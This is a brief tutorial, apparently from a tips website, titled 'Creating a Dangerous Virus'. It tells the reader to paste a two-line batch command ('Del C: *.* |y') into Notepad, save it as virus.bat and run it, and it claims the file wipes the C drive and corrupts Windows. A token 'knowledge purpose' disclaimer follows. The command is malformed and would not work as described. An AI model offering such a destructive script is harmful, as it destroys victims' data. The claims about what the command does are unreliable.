Creating a Dangerous Virus
Step 1. First of all, in your Windows OS, open the notepad.

Creating a Dangerous Virus
Step 2. Now copy and paste the below code in your notepad screen.
@Echo off
Del C: *.* |y

Creating a Dangerous Virus
Step 3. Now save this file as virus.bat (you can select any of random name but .bat after that must be there).

Creating a Dangerous Virus
Now running the file will delete the C drive completely, and the operating system of the respective computer will get corrupted.
Note: This method is only for knowledge purpose. Don’t try this on your computer as it will completely format your C drive.